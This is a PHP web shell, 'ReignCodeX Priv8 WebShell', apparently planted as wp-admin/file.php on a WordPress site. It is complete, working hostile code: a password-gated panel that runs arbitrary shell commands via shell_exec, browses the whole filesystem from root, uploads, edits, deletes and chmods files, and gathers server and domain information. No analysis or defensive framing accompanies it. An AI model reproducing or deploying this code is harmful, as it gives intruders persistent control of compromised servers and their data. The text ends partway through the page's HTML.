File: /home/prospack/domains/prospack.com/public_html/wp-admin/file.php
<?php
/*
* ReignCodeX - Priv8 WebShell
*
* Author: ReignCodeX
*/
// --- BASIC CONFIGURATION ---
define('PASSWORD', '7a8ce562a0032d58cff147df36f5c4c03f546e31f3a902183467bb81fc3e3b34');
define('USE_AUTH', true);
define('ALLOW_FULL_ACCESS', true);
define('ROOT_PATH', '/');
// --- END CONFIGURATION ---
@session_start();
// --- AUTHENTICATION ---
if (USE_AUTH && (!isset($_SESSION['is_logged_in']) || $_SESSION['is_logged_in'] !== true)) {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) {
if (hash_equals(PASSWORD, hash('sha256', md5($_POST['password'])))) {
$_SESSION['is_logged_in'] = true;
header('Location: ' . $_SERVER['PHP_SELF']);
exit;
} else { $login_error = "Invalid Password!"; }
}
http_response_code(401);
echo <<<HTML
<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>ReignCodeX Login</title><style>body{background-color:#111;color:#eee;font-family:monospace;display:flex;align-items:center;justify-content:center;height:100vh;margin:0;}.login-box{background-color:#222;border:1px solid #444;padding:2em;text-align:center;box-shadow:0 0 20px rgba(0,255,135,0.2);}h1{color:#00ff87;margin-top:0;}input[type="password"]{background-color:#333;border:1px solid #555;color:#fff;padding:10px;width:80%;}input[type="submit"]{background-color:#00ff87;color:#111;border:none;padding:10px 20px;cursor:pointer;margin-top:1em;font-weight:bold;}.error{color:#ff4444;margin-top:1em;}</style></head><body>
<div class="login-box"><h1>ReignCodeX</h1><form method="POST" action=""><input type="password" name="password" placeholder="Enter Password" autofocus><br><input type="submit" value="Login"></form>
HTML;
if (isset($login_error)) echo '<p class="error">' . $login_error . '</p>';
echo '</div></body></html>';
exit;
}
// --- Default Directory on First Load ---
if (ALLOW_FULL_ACCESS && !isset($_GET['path'])) {
header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode(__DIR__));
exit;
}
// --- HELPER FUNCTIONS ---
$base_dir = (ALLOW_FULL_ACCESS) ? rtrim(ROOT_PATH, '/') : __DIR__;
$home_dir = (ALLOW_FULL_ACCESS) ? __DIR__ : '';
function get_sanitized_path() {
global $base_dir;
// prefer GET, fall back to POST (forms may include path) to survive History API URL cleaning
$path = isset($_GET['path']) ? $_GET['path'] : (isset($_POST['path']) ? $_POST['path'] : '');
if (ALLOW_FULL_ACCESS) {
$real_path = realpath($path);
return $real_path === false ? $base_dir : $real_path;
} else {
$real_path = realpath($base_dir . '/' . $path);
return ($real_path === false || strpos($real_path, $base_dir) !== 0) ? '' : substr($real_path, strlen($base_dir));
}
}
function format_size($bytes) {
if ($bytes <= 0) return '0 B';
$units = ['B', 'KB', 'MB', 'GB', 'TB'];
$i = floor(log($bytes, 1024));
return number_format($bytes / (1024 ** $i), 2) . ' ' . $units[$i];
}
function format_perms_human($perms) {
if (($perms & 0xC000) == 0xC000) $info = 's'; elseif (($perms & 0xA000) == 0xA000) $info = 'l';
elseif (($perms & 0x8000) == 0x8000) $info = '-'; elseif (($perms & 0x6000) == 0x6000) $info = 'b';
elseif (($perms & 0x4000) == 0x4000) $info = 'd'; elseif (($perms & 0x2000) == 0x2000) $info = 'c';
elseif (($perms & 0x1000) == 0x1000) $info = 'p'; else $info = 'u';
// Build a plain permission string (e.g. rwxr-xr-x) including type and special bits
$info .= ($perms & 0x0100) ? 'r' : '-';
$info .= ($perms & 0x0080) ? 'w' : '-';
if ($perms & 0x0040) {
$info .= ($perms & 0x0800) ? 's' : 'x';
} else {
$info .= ($perms & 0x0800) ? 'S' : '-';
}
// group
$info .= ($perms & 0x0020) ? 'r' : '-';
$info .= ($perms & 0x0010) ? 'w' : '-';
if ($perms & 0x0008) {
$info .= ($perms & 0x0400) ? 's' : 'x';
} else {
$info .= ($perms & 0x0400) ? 'S' : '-';
}
// other
$info .= ($perms & 0x0004) ? 'r' : '-';
$info .= ($perms & 0x0002) ? 'w' : '-';
if ($perms & 0x0001) {
$info .= ($perms & 0x0200) ? 't' : 'x';
} else {
$info .= ($perms & 0x0200) ? 'T' : '-';
}
return $info;
}
function delete_dir($dir) {
if (!is_dir($dir)) return false;
$files = array_diff(scandir($dir), ['.', '..']);
foreach ($files as $file) { (is_dir("$dir/$file")) ? delete_dir("$dir/$file") : unlink("$dir/$file"); }
return rmdir($dir);
}
function recursive_copy($src, $dst) {
if (is_dir($src)) {
if (!is_dir($dst)) mkdir($dst);
$files = scandir($src);
foreach ($files as $file) { if ($file != "." && $file != "..") { recursive_copy("$src/$file", "$dst/$file"); } }
} else if (file_exists($src)) { copy($src, $dst); }
}
$path_param = get_sanitized_path();
$current_dir = ALLOW_FULL_ACCESS ? $path_param : $base_dir . $path_param;
// Admin debug viewer (authenticated only) - convenient way to see recent debug entries
if (isset($_GET['show_debug']) && USE_AUTH && isset($_SESSION['is_logged_in']) && $_SESSION['is_logged_in'] === true) {
$dbg = @file_get_contents(__DIR__ . '/reigncodex_debug.log');
header('Content-Type: text/plain; charset=utf-8');
echo "--- ReignCodeX debug log ---\n" . ($dbg === false ? "(no log or unreadable)" : $dbg);
exit;
}
// --- AJAX ACTION HANDLING ---
if (isset($_GET['action'])) {
ob_clean();
$action = $_GET['action'];
if ($action == 'get_content') {
$file_path = $current_dir . '/' . basename($_GET['file']);
echo file_exists($file_path) && is_readable($file_path) ? file_get_contents($file_path) : 'Error: Cannot read file.';
} elseif ($action == 'download') {
$file_path = $current_dir . '/' . basename($_GET['file']);
if (file_exists($file_path) && is_readable($file_path)) {
header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file_path) . '"'); header('Expires: 0');
header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file_path));
readfile($file_path);
}
} elseif ($action == 'ajax_cmd' && isset($_POST['cmd'])) {
if (!function_exists('shell_exec')) { echo "Error: shell_exec function is disabled."; exit; }
$cmd = $_POST['cmd'];
$output = shell_exec("cd " . escapeshellarg($current_dir) . " && " . $cmd . " 2>&1");
echo htmlspecialchars($output, ENT_QUOTES, 'UTF-8');
}
exit;
}
// --- POST ACTION HANDLING ---
$action_message = ''; $error_message = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// Temporary debug log to help trace failing actions - safe (only keys, filenames, path)
$debug_log = __DIR__ . '/reigncodex_debug.log';
try {
$dbg_entry = [
'time' => date('c'),
'remote' => $_SERVER['REMOTE_ADDR'] ?? 'cli',
'action_raw' => $_POST['action'] ?? $_POST['bulk_action'] ?? '[none]',
'path_post' => $_POST['path'] ?? null,
'post_keys' => array_keys($_POST),
'files_keys' => isset($_FILES) ? array_keys($_FILES) : [],
];
@file_put_contents($debug_log, json_encode($dbg_entry) . PHP_EOL, FILE_APPEND | LOCK_EX);
if (!isset($_POST['csrf_token']) || !hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) { throw new Exception("Invalid request."); }
$action = $_POST['action'] ?? '';
$selected_items = $_POST['selected_items'] ?? [];
if (!empty($selected_items) && isset($_POST['bulk_action'])) { $action = $_POST['bulk_action']; }
switch ($action) {
case 'logout': session_destroy(); header('Location: ' . $_SERVER['PHP_SELF']); exit;
case 'upload':
if (isset($_FILES['files'])) {
$count = 0;
foreach ($_FILES['files']['name'] as $i => $name) {
if ($_FILES['files']['error'][$i] === UPLOAD_ERR_OK) { move_uploaded_file($_FILES['files']['tmp_name'][$i], $current_dir . '/' . basename($name)); $count++; }
}
$action_message = "$count file(s) uploaded.";
}
break;
case 'create_dir': case 'create_file':
$name = trim($_POST['name']);
if (!empty($name) && !preg_match('/[\/\\\\]/', $name)) {
$path = $current_dir . '/' . $name;
if ($action === 'create_dir' ? mkdir($path) : touch($path)) {
$action_message = ($action === 'create_dir' ? "Directory" : "File") . " '{$name}' created.";
if ($action === 'create_file') {
// mark the newly created file so we can open it in the editor after redirect
$_SESSION['open_file'] = $name;
}
} else { throw new Exception("Failed to create."); }
} else { throw new Exception("Invalid name."); }
break;
case 'delete':
$items = !empty($selected_items) ? $selected_items : [$_POST['item']];
$count = 0;
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$path = $current_dir . '/' . $item;
if (is_dir($path) ? delete_dir($path) : unlink($path)) $count++;
}
$action_message = "$count item(s) deleted.";
break;
case 'rename':
$old = $_POST['old_name']; $new = $_POST['new_name'];
if (!empty($old) && !empty($new)) {
if (rename($current_dir . '/' . $old, $current_dir . '/' . $new)) { $action_message = "Renamed '{$old}' to '{$new}'.";
} else { throw new Exception("Failed to rename."); }
}
break;
case 'edit':
$file = $_POST['file']; $content = $_POST['content'];
if (file_put_contents($current_dir . '/' . $file, $content) !== false) { $action_message = "File '{$file}' saved.";
} else { throw new Exception("Failed to save file."); }
break;
case 'chmod':
$item = $_POST['item']; $perms = $_POST['perms'];
if (chmod($current_dir . '/' . $item, octdec($perms))) { $action_message = "Permissions for '{$item}' changed to {$perms}.";
} else { throw new Exception("Failed to change permissions."); }
break;
case 'copy': case 'move':
$dest_path = $_POST['destination_path'];
$dest_full_path = realpath($dest_path);
if ($dest_full_path === false || !is_dir($dest_full_path)) throw new Exception("Destination directory does not exist.");
$count = 0;
foreach ($selected_items as $item) {
$src = $current_dir . '/' . $item;
$dst = $dest_full_path . '/' . $item;
if ($action === 'move') { if (rename($src, $dst)) $count++; } else { recursive_copy($src, $dst); $count++; }
}
$action_message = "$count item(s) " . ($action === 'move' ? 'moved' : 'copied') . " to '" . htmlspecialchars($dest_full_path) . "'.";
break;
case 'unzip':
$file = $_POST['file'];
if (class_exists('ZipArchive') && pathinfo($file, PATHINFO_EXTENSION) === 'zip') {
$zip = new ZipArchive;
if ($zip->open($current_dir . '/' . $file) === TRUE) {
$zip->extractTo($current_dir);
$zip->close();
$action_message = "File '{$file}' extracted.";
} else { throw new Exception("Failed to extract zip file."); }
}
break;
}
// Log outcome of action for debugging
try{
$result_entry = [
'time' => date('c'),
'action' => $action,
'path' => $current_dir,
'message' => $action_message ?: $error_message ?: 'no_message',
];
@file_put_contents($debug_log, json_encode($result_entry) . PHP_EOL, FILE_APPEND | LOCK_EX);
}catch(
Exception $ee){}
} catch (Exception $e) {
$error_message = $e->getMessage();
if (!empty($_POST)) { $error_message .= ' [POST keys: ' . implode(',', array_keys($_POST)) . ']'; }
}
$_SESSION['action_message'] = $action_message; $_SESSION['error_message'] = $error_message;
header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($path_param));
exit;
}
// --- Page Render Data ---
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
if(isset($_SESSION['action_message'])) { $action_message = $_SESSION['action_message']; unset($_SESSION['action_message']); }
if(isset($_SESSION['error_message'])) { $error_message = $_SESSION['error_message']; unset($_SESSION['error_message']); }
// If a new file was created, session may contain the filename to open in editor
$open_file = '';
if (isset($_SESSION['open_file'])) { $open_file = $_SESSION['open_file']; unset($_SESSION['open_file']); }
$items = @scandir($current_dir) ?: [];
$dirs = []; $files = [];
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
if (is_dir($current_dir . '/' . $item)) $dirs[] = $item;
else $files[] = $item;
}
// Server info variables
$server_software = $_SERVER['SERVER_SOFTWARE'];
$php_version = phpversion();
$server_ip = $_SERVER['SERVER_ADDR'] ?? 'N/A';
$current_user = function_exists('get_current_user') ? get_current_user() : 'N/A';
$uname = php_uname('n') ?? 'N/A';
$free_space = function_exists('disk_free_space') ? format_size(@disk_free_space($current_dir)) : 'N/A';
$total_space = function_exists('disk_total_space') ? format_size(@disk_total_space($current_dir)) : 'N/A';
// Attempt to count configured domains (cPanel specific, may not work on all systems)
$domain_count = 'N/A';
if (is_readable('/etc/trueuserdomains')) {
$domain_count = count(file('/etc/trueuserdomains'));
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ReignCodeX Priv8 WebShell</title>
<style>
:root{--bg-color:#1a1a1a;--text-color:#c5c5c5;--primary-color:#00ff87;--secondary-color:#444;--border-color:#333;--hover-bg:#2a2a2a; --red-color: #ff7878;}
body{background-color:var(--bg-color);color:var(--text-color);font-family:'Consolas','Menlo','monospace';margin:0;font-size:14px;}
.container{width:95%;max-width:1400px;margin:20px auto;background-color:#222;padding:20px;border:1px solid var(--border-color);box-shadow:0 0 25px rgba(0,255,135,0.1);}
.header{text-align:center;margin-bottom:0;}
.header h1{color:var(--primary-color);margin:0;letter-spacing:2px;font-size:40px;font-weight:bold;text-shadow:0 0 15px rgba(0,255,135,0.4);font-family:'Arial Black', 'Trebuchet MS', sans-serif;}
.header .subtitle{color:#ff9999;font-size:18px;margin:8px 0 20px 0;letter-spacing:1px;font-style:italic;}
.server-info{background-color:#111;border:1px solid var(--border-color);padding:12px;margin-bottom:20px;font-size:15px;display:flex;flex-direction:column;gap:8px;text-align:left;}
.server-info span{margin-right:0;} .server-info b{color:var(--primary-color);}
.nav-tabs{display:flex;justify-content:center;position:relative;border-bottom:1px solid var(--secondary-color);margin-bottom:15px; align-items: center;}
.nav-tabs form.logout-form{position:absolute;right:0;}
.nav-tabs button,.nav-tabs a{background:transparent;border:none;border-bottom:2px solid transparent;color:var(--text-color);padding:10px 15px;cursor:pointer;font-size:14px;text-decoration:none; display: inline-block;}
.nav-tabs button:hover,.nav-tabs a:hover{color:var(--primary-color);border-bottom-color:var(--primary-color);background-color:rgba(0,255,135,0.1);border-radius:3px;}
.breadcrumbs{padding:10px;background-color:#2a2a2a;margin-bottom:15px;border:1px solid var(--border-color); word-wrap: break-word; color: #ffffff;}
.breadcrumbs a{color: #ffffff; text-decoration:none;} .breadcrumbs a:hover{color:var(--primary-color);}
.file-table{width:100%;border-collapse:collapse;}
.file-table th{background-color:#2a2a2a;color:var(--primary-color);}
.file-table th,.file-table td{padding:10px;text-align:left;border-bottom:1px solid var(--border-color);}
.file-table{font-size:15px;}
.file-table tbody tr:hover{background-color:var(--hover-bg);}
/* Ensure long filenames wrap instead of breaking layout */
.file-table .name-col{display:flex;align-items:center;cursor:pointer;word-break:break-word;overflow-wrap:anywhere;white-space:normal;max-width:400px;} .file-table .name-col svg{margin-right:10px;fill:var(--text-color);width:16px;height:16px;flex-shrink:0;}
.file-table td {word-break:break-word;overflow-wrap:anywhere;}
.file-table .dir-link{cursor: pointer;} .file-table .dir-link svg{fill:var(--primary-color);} .file-table .dir-link:hover{color:var(--primary-color);}
.perms-col span{font-weight:bold;} .perm-ok{color:#67e067;} .perm-deny{color:#ff4d4d;} .perm-none{color:#555;}
.actions-col button,.actions-col a{margin-right:10px;background:none;border:none;cursor:pointer;padding:5px 10px;font-family:inherit;font-size:14px;color:var(--text-color);text-decoration:none;border-radius:3px;transition:all 0.2s;}
.actions-col button:hover,.actions-col a:hover{color:var(--primary-color);}
.actions-col button:hover{background-color:rgba(0,255,135,0.1);}
/* Mobile/Tablet Responsive Design */
@media (max-width: 1024px) {
.container{width:98%;padding:15px;}
.file-table th,.file-table td{padding:10px;font-size:14px;}
.file-table .name-col svg{width:14px;height:14px;}
.actions-col button,.actions-col a{margin-right:5px;font-size:13px;padding:4px 8px;}
#bulk-actions-bar button{padding:6px 10px;font-size:11px;}
}
@media (max-width: 768px) {
body{font-size:13px;}
.container{width:99%;padding:10px;margin:10px auto;}
.header h1{font-size:20px;}
.server-info{font-size:12px;}
.file-table th,.file-table td{padding:8px;font-size:12px;}
.file-table .name-col svg{width:12px;height:12px;}
.nav-tabs button,.nav-tabs a{padding:8px 10px;font-size:13px;}
.breadcrumbs{font-size:12px;padding:8px;}
.actions-col button,.actions-col a{margin-right:3px;font-size:11px;padding:4px 8px;}
#bulk-actions-bar{padding:6px;}
#bulk-actions-bar button{padding:6px 10px;font-size:11px;}
.modal-content.modal-small{width:95%;}
.modal-buttons button{padding:10px 16px;font-size:13px;margin-left:5px;}
}
@media (max-width: 480px) {
body{font-size:12px;}
.container{padding:8px;margin:5px auto;}
.header h1{font-size:18px;margin:0 0 8px 0;}
.server-info{font-size:11px;gap:3px;}
.server-info span{margin-right:0;}
.file-table{font-size:11px;}
.file-table th,.file-table td{padding:6px;}
.file-table .name-col svg{width:10px;height:10px;}
.nav-tabs button,.nav-tabs a{padding:8px 10px;font-size:12px;}
.breadcrumbs{font-size:11px;padding:6px;}
.actions-col{display:flex;gap:3px;flex-wrap:wrap;}
.actions-col button,.actions-col a{margin-right:0;font-size:10px;padding:4px 6px;}
#bulk-actions-bar{padding:4px;gap:4px;}
#bulk-actions-bar button{padding:6px 8px;font-size:10px;}
.modal-content{padding:15px;}
.modal-content.modal-large{width:98vw;height:95vh;}
.modal-content.modal-small{width:98%;}
.modal-content textarea,.modal-content input[type="text"]{font-size:13px;padding:10px;}
.modal-buttons button{padding:8px 12px;font-size:12px;margin-left:3px;}
}
.modal{display:none;position:fixed;z-index:1000;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,0.7);align-items:center;justify-content:center;}
.modal-content{background-color:#282c34;padding:20px;border:1px solid #555;display:flex;flex-direction:column;overflow:auto;}
/* Make large modals (edit/view/cmd) with balanced sizing */
.modal-content.modal-large{width:72vw; max-width:1000px; height:65vh; max-height:75vh;}
.modal-content.modal-small{width:90%; max-width: 600px;}
.modal-content h2{margin-top:0;color:var(--primary-color);}
.modal-content textarea, .modal-content input[type="text"], .modal-content input[type="password"], .modal-content select {width:100%;background-color:#21252b;color:#abb2bf;border:1px solid #555;padding:10px;font-family:inherit;margin:6px 0;box-sizing:border-box;border-radius:4px;}
.modal-content textarea, .modal-content input[type="text"], .modal-content input[type="password"], .modal-content select {font-size:14px;}
.modal-content input[type="file"]{padding:10px;font-size:14px;color:#abb2bf;background-color:#21252b;border:2px dashed #00ff87;border-radius:4px;cursor:pointer;transition:all 0.3s;}
.modal-content input[type="file"]:hover{border-color:#5dade2;background-color:#2a2f3a;}
/* Textarea should remain large inside the modal; modal will scroll if needed */
.modal-content textarea{flex-grow:1; resize:vertical; min-height:300px; max-height:none; overflow:auto;}
.modal-buttons{margin-top:15px;text-align:right;}
.modal-buttons button{padding:12px 24px;border:none;cursor:pointer;margin-left: 10px;font-size:15px;border-radius:4px;transition:all 0.2s;font-weight:500;}
/* CMD input form run button sizing */
#cmd-input-form button{padding:12px 20px;margin-left:10px;font-size:15px;border-radius:4px;transition:all 0.2s;font-weight:500;}
.btn-primary{background-color:var(--primary-color);color:#111;font-weight:bold;transition:all 0.2s;}
.btn-primary:hover{background-color:#00e67e;box-shadow:0 0 10px rgba(0,255,135,0.4);}
.btn-secondary{background-color:var(--secondary-color);color:#fff;transition:all 0.2s;}
.btn-secondary:hover{background-color:#555;background-color:rgba(255,255,255,0.1);}
/* Limit CMD output size so it doesn't consume the full viewport */
#cmd-output{background-color:#111;color:var(--text-color);width:98%;flex-grow:1;border:1px solid var(--border-color);overflow-y:auto;padding:10px;white-space:pre-wrap;word-wrap:break-word;height:400px;max-height:500px;font-size:13px;border-radius:4px;}
#cmd-input-form{display:flex;gap:10px;margin-top:15px;}
#cmd-input{flex-grow:1;border-right:0;}
.message{padding:10px;margin-bottom:15px;border:1px solid;}
.message.success{background-color:#1a3c2a;color:#a1e0b5;border-color:#387b51;}
.message.error{background-color:#4d1c1c;color:#f8b0b0;border-color:#a13d3d;}
.footer{text-align:center;margin-top:30px;font-size:14px;color:#999;padding:20px;background:rgba(0,255,135,0.03);}
.footer p{margin:8px 0;font-weight:400;letter-spacing:0.3px;}
.footer a{display:inline-flex;align-items:center;justify-content:center;width:40px;height:40px;color:var(--primary-color);text-decoration:none;margin:0 6px;transition:all 0.3s;background-color:rgba(0,255,135,0.08);border-radius:50%;}
.footer a:hover{color:#fff;background-color:var(--primary-color);transform:translateY(-3px);box-shadow:0 6px 15px rgba(0,255,135,0.3);}
.footer svg{width:20px;height:20px;fill:currentColor;vertical-align:middle;transition:all 0.3s;}
.footer a:hover svg{transform:scale(1.1);}
</style>
</head>
<body>
<div class="container">
<header class="header">
<h1>ReignCodeX</h1><br>
<div class="subtitle">Priv8 WebShell</div>
<div class="server-info">
<span><b>Server IP:</b> <?php echo $server_ip; ?></span>
<span><b>Web Server:</b> <?php echo $server_software; ?></span>
<span><b>PHP:</b> <?php echo $php_version; ?></span>
<span><b>User:</b> <?php echo $current_user; ?></span>
<span><b>Uname:</b> <?php echo $uname; ?></span>
<span><b>Domains:</b> <?php echo $domain_count; ?></span>
<span><b>Disk:</b> <?php echo $free_space; ?> Free / <?php echo $total_space; ?> Total</span>
</div>
</header>
<nav class="nav-tabs">
<a href="?path=<?php echo urlencode($home_dir); ?>">[Home]</a>
<a href="javascript:void(0)" onclick="showModal('uploadModal')">[Upload]</a>
<a href="javascript:void(0)" onclick="showModal('newDirModal')">[New Dir]</a>
<a href="javascript:void(0)" onclick="showModal('newFileModal')">[New File]</a>
<a href="javascript:void(0)" onclick="showModal('cmdModal')">[CMD]</a>
<?php if(USE_AUTH): ?><form class="logout-form" method="post"><input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>"><input type="hidden" name="path" value="<?php echo htmlspecialchars($path_param); ?>"><button type="submit" name="action" value="logout">[Logout]</button></form><?php endif; ?>
</nav>
<div class="breadcrumbs">
<span style="color:var(--primary-color);font-weight:bold;">Path:</span>
<?php
$path_parts = array_filter(explode('/', $current_dir));
if (count($path_parts) > 0) {
$cpath = '';
// render as /part1/part2/ without extra spaces between slashes
echo '<a href="?path=/">/</a>';
foreach ($path_parts as $part) {
$cpath .= '/' . $part;
echo '<a href="?path=' . urlencode($cpath) . '">' . htmlspecialchars($part) . '</a>' . '/';
}
}
?>
<span style="margin-left:20px;font-weight:bold;color:<?php echo is_writable($current_dir) ? '#67e067' : '#ff4d4d'; ?>;"><?php echo is_writable($current_dir) ? '[Writable]' : '[Not Writable]'; ?></span>
</div>
<?php if ($action_message): ?><div class="message success"><?php echo htmlspecialchars($action_message); ?></div><?php endif; ?>
<?php if ($error_message): ?><div class="message error"><?php echo htmlspecialchars($error_message); ?></div><?php endif; ?>
<form method="post" id="main-form">
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
<input type="hidden" name="path" value="<?php echo htmlspecialchars($path_param); ?>">
<div id="bulk-actions-bar" style="display:none; padding:8px; background-color:#2a2a2a; border:1px solid var(--border-color); margin-bottom:10px; border-radius:4px; flex-wrap:wrap; gap:6px;">
<button type="button" onclick="showCopyMoveModal('copy')" style="padding:10px 16px; background-color:#5dade2; color:#fff; border:none; cursor:pointer; border-radius:4px; font-size:13px; font-weight:500; transition:all 0.2s;">Copy</button>
<button type="button" onclick="showCopyMoveModal('move')" style="padding:10px 16px; background-color:#f8c471; color:#111; border:none; cursor:pointer; border-radius:4px; font-size:13px; font-weight:500; transition:all 0.2s;">Move</button>
<button type="submit" name="bulk_action" value="delete" onclick="return confirm('Delete selected items?')" style="padding:10px 16px; background-color:#ff7878; color:#fff; border:none; cursor:pointer; border-radius:4px; font-size:13px; font-weight:500; transition:all 0.2s;">Delete</button>
</div>
<table class="file-table">
<thead><tr><th><input type="checkbox" id="select-all"></th><th>Name</th><th>Size</th><th>Modified</th><th>Permissions</th><th>Actions</th></tr></thead>
<tbody>
<?php if ($current_dir !== '/'): ?><tr><td></td><td colspan="5" class="name-col dir-link" onclick="window.location.href='?path=<?php echo urlencode(dirname($current_dir)); ?>'"><svg viewBox="0 0 24 24"><path d="M20 6h-8l-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2zm-1 12H5V8h14v10z"/></svg>[ .. ]</td></tr><?php endif; ?>
<?php foreach ($dirs as $dir): $path = $current_dir.'/'.$dir; $perms = @fileperms($path); ?>
<tr>
<td><input type="checkbox" name="selected_items[]" value="<?php echo htmlspecialchars($dir); ?>"></td>
<td class="name-col dir-link" onclick="window.location.href='?path=<?php echo urlencode($path); ?>'"><svg viewBox="0 0 24 24"><path d="M10 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2h-8l-2-2z"/></svg><?php echo htmlspecialchars($dir); ?></td>
<td>-</td><td><?php echo date('Y-m-d H:i:s', @filemtime($path)); ?></td><td class="perms-col"><?php echo '<span class="'.((($perms & 0x0080) || ($perms & 0x0010) || ($perms & 0x0002)) ? 'perm-ok' : 'perm-deny').'">'.format_perms_human($perms).'</span>'; ?></td>
<td class="actions-col">
<button type="button" onclick="showRenameModal('<?php echo htmlspecialchars($dir); ?>')">Rename</button>
<button type="button" onclick="showChmodModal('<?php echo htmlspecialchars($dir); ?>', '<?php echo substr(sprintf('%o', $perms), -4); ?>')">Chmod</button>
<button type="button" class="delete-btn" data-item="<?php echo htmlspecialchars($dir); ?>">Delete</button>
</td>
</tr>
<?php endforeach; ?>
<?php foreach ($files as $file): $path = $current_dir.'/'.$file; $perms = @fileperms($path); ?>
<tr>
<td><input type="checkbox" name="selected_items[]" value="<?php echo htmlspecialchars($file); ?>"></td>
<td class="name-col" onclick="showViewModal('<?php echo htmlspecialchars($file); ?>')"><svg viewBox="0 0 24 24"><path d="M6 2c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8l-6-6H6zm7 7V4l5 5h-5z"/></svg><?php echo htmlspecialchars($file); ?></td>
<td><?php echo format_size(@filesize($path)); ?></td><td><?php echo date('Y-m-d H:i:s', @filemtime($path)); ?></td><td class="perms-col"><?php echo '<span class="'.((($perms & 0x0080) || ($perms & 0x0010) || ($perms & 0x0002)) ? 'perm-ok' : 'perm-deny').'">'.format_perms_human($perms).'</span>'; ?></td>
<td class="actions-col">
<button type="button" onclick="showEditModal('<?php echo htmlspecialchars($file); ?>')">Edit</button>
<a href="?action=download&path=<?php echo urlencode($path_param); ?>&file=<?php echo urlencode($file); ?>">Download</a>
<?php if(pathinfo($file, PATHINFO_EXTENSION) === 'zip'): ?><button type="button" class="unzip-btn" data-item="<?php echo htmlspecialchars($file); ?>">Unzip</button><?php endif; ?>
<button type="button" onclick="showRenameModal('<?php echo htmlspecialchars($file); ?>')">Rename</button>
<button type="button" onclick="showChmodModal('<?php echo htmlspecialchars($file); ?>', '<?php echo substr(sprintf('%o', $perms), -4); ?>')">Chmod</button>
<button type="button" class="delete-btn" data-item="<?php echo htmlspecialchars($file); ?>">Delete</button>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</form>
<form id="file-action-form" method="post" style="display:none;">
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
<input type="hidden" name="path" value="<?php echo htmlspecialchars($path_param); ?>">
<input type="hidden" name="action">
<input type="hidden" name="item">
</form>
</div>
<div id="uploadModal" class="modal"><div class="modal-content modal-small"><form method="post" enctype="multipart/form-data"><h2>Upload Files</h2><input type="hidden" name="action" value="upload"><input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>"><input type="hidden" name="path" value="<?php echo htmlspecialchars($path_param); ?>"><input type="file" name="files[]" multiple required><div class="modal-buttons"><button type="button" class="btn-secondary" onclick="closeAllModals()">Cancel</button><button type="submit" class="btn-primary">Upload</button></div></form></div></div>
<div id="newDirModal" class="modal"><div class="modal-content modal-small"><form method="post"><h2>New Directory</h2><input type="hidden" name="action" value="create_dir"><input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>"><input type="hidden" name="path" value="<?php echo htmlspecialchars($path_param); ?>"><input type="text" name="name" placeholder="Directory name" required autofocus><div class="modal-buttons"><button type="button" class="btn-secondary" onclick="closeAllModals()">Cancel</button><button type="submit" class="btn-primary">Create</button></div></form></div></div>
<div id="newFileModal" class="modal"><div class="modal-content modal-small"><form method="post"><h2>New File</h2><input type="hidden" name="action" value="create_file"><input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>"><input type="hidden" name="path" value="<?php echo htmlspecialchars($path_param); ?>"><input type="text" name="name" placeholder="File name" required autofocus><div class="modal-buttons"><button type="button" class="btn-secondary" onclick="closeAllModals()">Cancel</button><button type="submit" class="btn-primary">Create</button></div></form></div></div>
<div id="renameModal" class="modal"><div class="modal-content modal-small"><form method="post"><h2>Rename Item</h2><input type="hidden" name="action" value="rename"><input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>"><input type="hidden" name="path" value="<?php echo htmlspecialchars($path_param); ?>"><input type="hidden" id="rename-old-name" name="old_name"><input type="text" id="rename-new-name" name="new_name" placeholder="New name" required><div class="modal-buttons"><button type="button" class="btn-secondary" onclick="closeAllModals()">Cancel</button><button type="submit" class="btn-primary">Rename</button></div></form></div></div>
<div id="chmodModal" class="modal"><div class="modal-content modal-small"><form method="post"><h2>Change Permissions</h2><input type="hidden" name="action" value="chmod"><input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>"><input type="hidden" name="path" value="<?php echo htmlspecialchars($path_param); ?>"><input type="hidden" id="chmod-item-name" name="item"><input type="text" id="chmod-perms" name="perms" pattern="[0-7]{3,4}" placeholder="e.g. 0755" required><div class="modal-buttons"><button type="button" class="btn-secondary" onclick="closeAllModals()">Cancel</button><button type="submit" class="btn-primary">Set</button></div></form></div></div>
